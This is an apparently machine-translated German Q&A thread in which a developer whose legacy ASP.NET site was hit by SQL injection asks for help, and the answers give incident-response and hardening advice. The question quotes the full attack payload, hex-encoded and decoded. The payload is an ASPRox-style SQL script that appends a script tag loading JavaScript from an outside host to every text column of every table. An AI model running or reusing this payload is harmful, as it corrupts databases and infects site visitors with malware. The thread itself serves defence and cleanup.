HILFE! In die Produktionsdatenbank wurde SQL INJEKTIERT!

HILFE! In die Produktionsdatenbank wurde SQL INJEKTIERT!

Mögliches Duplikat:
Mein Server wurde NOTFALL gehackt

Meine Güte, ich bin verzweifelt! Vor ein paar Stunden wurde unsere Produktionsdatenbank per SQL injiziert.

Ich weiß, dass wir einige große Lücken im System haben ... weil wir die Website von einem Typen geerbt haben, der sie mit klassischem ASP erstellt hat, dessen Programmierung wirklich schrecklich und unsicher war. Also haben wir einige Zeit damit verbracht, sie auf ASP.NET zu migrieren (zuerst 1.1, dann 2.0 und jetzt 3.5). Aber es ist ein großes Projekt und es gibt immer noch alten und unsicheren Code. Ich werde nicht lügen, das Projekt ist ein Chaos, ich hasse es, aber es ist unser wichtigster Kunde (wir sind nur zwei junge Leute, kein großes Unternehmen).

Ich weiß also, dass sie irgendwie einige JS-Skriptverweise in meine gesamte Datenbank eingefügt haben … Das geschah wahrscheinlich über eine alte Seite, die SQL-Abfragen mit verknüpften Zeichenfolgen verwendet und diese direkt in die Datenbank einfügte (weil der Typ, der das Projekt startet, sagte: „Gespeicherte Prozeduren funktionieren nicht“ … also hat er die gesamte Site mit Zeichenfolgenverknüpfungen erstellt und sie direkt in SQL eingefügt, ohne Sicherheitsüberprüfungen oder ähnliches durchzuführen).

Als wir das Projekt bekamen, wollte der Kunde keine Zeit damit verbringen, den Mist, den der alte Typ gemacht hatte, noch einmal zu machen. Also mussten wir schlechten und unsicheren Code erstellen und ihn reparieren, während wir neue Funktionen entwickelten, weil der Kunde das wollte ... und jetzt, wo wir SQL-injiziert wurden, werden sie natürlich verrückt.

ALSO....

**Gibt es eine Möglichkeit, nach alten SQL-Abfragen zu suchen, die in den letzten X Stunden ausgeführt wurden? So etwas wie SQL Profiler (aber natürlich hatten wir den Profiler nicht geöffnet, als der Angriff stattfand)? Gibt es eine Möglichkeit herauszufinden, welche Seite die anfällige ist? Bitte helfen Sie, es gibt viele Seiten. Ich kann diese nicht manuell durchsuchen, ohne sicher zu wissen, welche Seite dies war.

Außerdem ... könnte es eine andere Möglichkeit geben, die Datenbank einzufügen? Zum Beispiel über eine IIS-Anfrage oder JS oder so etwas?**

Ich habe vollständigen Remotedesktopzugriff auf den Servercomputer (er befindet sich nicht in einer gehosteten Umgebung), sodass ich auf jede Datei, jedes Protokoll usw. auf dem Server zugreifen kann ...

Bitte helfen Sie!

PS: Entschuldigen Sie, mein Englisch ist nicht so gut und jetzt, wo ich nervös bin, ist es noch schlimmer!

BEARBEITEN

  • Windows 2003 Server
  • SQL SERVER 2005
  • ASP .NET 3.5

Das Skript, das sie vorlegen, ist das folgende

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

In Textform übersetzt lautet dies:

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Antwort1

Das Erste, was Sie tun sollten, ist, nicht in Panik zu geraten. Aber ich sehe, Sie haben das übersprungen und beschlossen,

Als Zweites sollten Sie die Site vom Netz nehmen und sicherstellen, dass sie von außen nicht zugänglich ist, bis Sie herausgefunden haben, was kaputt ist. Sehen Sie sich die Zugriffsprotokolle an und versuchen Sie herauszufinden, was das Hauptproblem ist.

Als Drittes sollten Sie prüfen, ob Sie Ihre Datenbank regelmäßig sichern und dann ein Rollback durchführen. Möglicherweise verlieren Sie einige Daten, aber Sie sind dann in einer besseren Lage als jetzt.

Das vierte, was Sie tun sollten, ist - geben Sie die URL NICHT weiter, da sie offensichtlich unsicher ist

Antwort2

Installieren Sie unbedingt die neuste Version von UrlScan – sie wurde speziell dafür entwickelt, diese Art von Angriffen zu verhindern.

Wenn Sie über IIS-Protokolle verfügen, sollte der Einstiegspunkt ziemlich offensichtlich sein – suchen Sie nach dem, auf den die Hacker eingedroschen haben.

Ein weiterer guter Schutz besteht, wenn überhaupt möglich, darin, dem Webbenutzerkonto die INSERT- und UPDATE-Rechte zu verweigern und diese stattdessen über gespeicherte Prozeduren auszuführen. Diese Art von Schutz bewahrte uns vor einem ähnlichen Problem mit einer ähnlichen Legacy-App, als es sich um einen Zero-Day-Angriff handelte.

Ich denke, Sie können dem PUBLIC-Benutzer auch das Recht zum Scannen von Tabellen entziehen, was ihn davon abhalten sollte, Angriffe im Stil „foreach table“ durchzuführen.

Antwort3

Als Referenzpunkt: Dies ist das Werk des SQL-Injection-Angriffs des ASPRox-Bots. Er scheint hin und wieder aufzutauchen, da er ziemlich viral wird, wenn kompromittierte Systeme gefunden werden. Sie können bei Google nach „ASPRox-Bot“ suchen und einige zusätzliche Reinigungsmethoden und weitere Präventionsmaßnahmen finden. Ich habe gerade gefundendieses PDFDatei, die einen guten Überblick über die Taktiken und Links zu einigen Bereinigungsoptionen bietet.

Das Problem besteht darin, dass das Viren-/Injektionsmodell im Wesentlichen jedes einzelne Textfeld in ALLEN Ihren Datenbanktabellen übernommen und einen kleinen Snippet eingefügt hat, der die angegebene URL aufruft, um zu versuchen, alle anderen Webclients zu infizieren und sie in Zombies zu verwandeln, die Ihre Site besuchen.

Überprüfen Sie daher unbedingt alle Datenbanken auf dem betreffenden Server und nicht nur die mit der betreffenden Datenbank, um eine ordnungsgemäße Bereinigung durchzuführen.

Mit den hier gegebenen Vorschlägen scheinen Sie auf dem richtigen Weg zu sein. Bei weiteren Fragen können jedoch einige „formelle“ Verweise auf den Namen des Virus hilfreich sein.

Antwort4

Überprüfen Sie Ihre IIS-Protokolle, um herauszufinden, welche Seite für die Injektion verwendet wurde. Selbstverständlich müssen Sie diese Seite schnell reparieren oder deaktivieren.

Der beste Ansatz hängt von der Art der Site ab. Wenn möglich,die Site vom Netz nehmenbis Sie eine unbeschädigte Datenbank wiederhergestellt oder die Änderungen rückgängig gemacht haben (dafür sind ausführliche Protokolle erforderlich). Anschließend können Sie die Site wieder in den schreibgeschützten Modus versetzen, bis Sie Zeit haben, das/die Problem(e) zu beheben. Beschränken Sie das SQL-Konto einfach auf „Nur SELECT“.

Selbst wenn Sie Abfragezeichenfolgen verketten, können Sie mit wenig Aufwand ziemlich sicher sein. Wenn Sie alle ASP-Dateien nach Schlüsselwörtern wie SELECT und UPDATE durchsuchen, werden alle Abfragen angezeigt. Umgeben Sie alle Ihre Parameter zunächst mit grundlegenden Plausibilitätsprüfungen.

Da Sie wahrscheinlich in Eile sind, können Sie einen Blick auf einigeWirklichalter ASP VBScript-Code von mir. Darin sind eine Reihe von SafeSqlWhatever-Funktionen enthalten, die Ihnen beim Erstellen sicherer SQL-Anweisungen helfen. Keine Garantie, es war nie für die Öffentlichkeit gedacht. Das Ersetzen aller variablen Eingaben durch dieSqlVar(einWert)Die Funktion sollte Ihnen den Einstieg erleichtern. Sie müssen die einfachen Anführungszeichen aus dem Rest Ihrer Abfragezeichenfolge entfernen, da SqlVar sie für Sie hinzufügt. Alternativ können Sie die Funktionen verwenden, die für den erwarteten Werttyp spezifisch sind:

Vor:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

Nach:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

PS: nein, so sollte es nicht sein, aberwahrscheinlichder schnellste Weg, die Dinge von Ihrem jetzigen Standort aus wieder in einen funktionsfähigen Zustand zu versetzen.

verwandte Informationen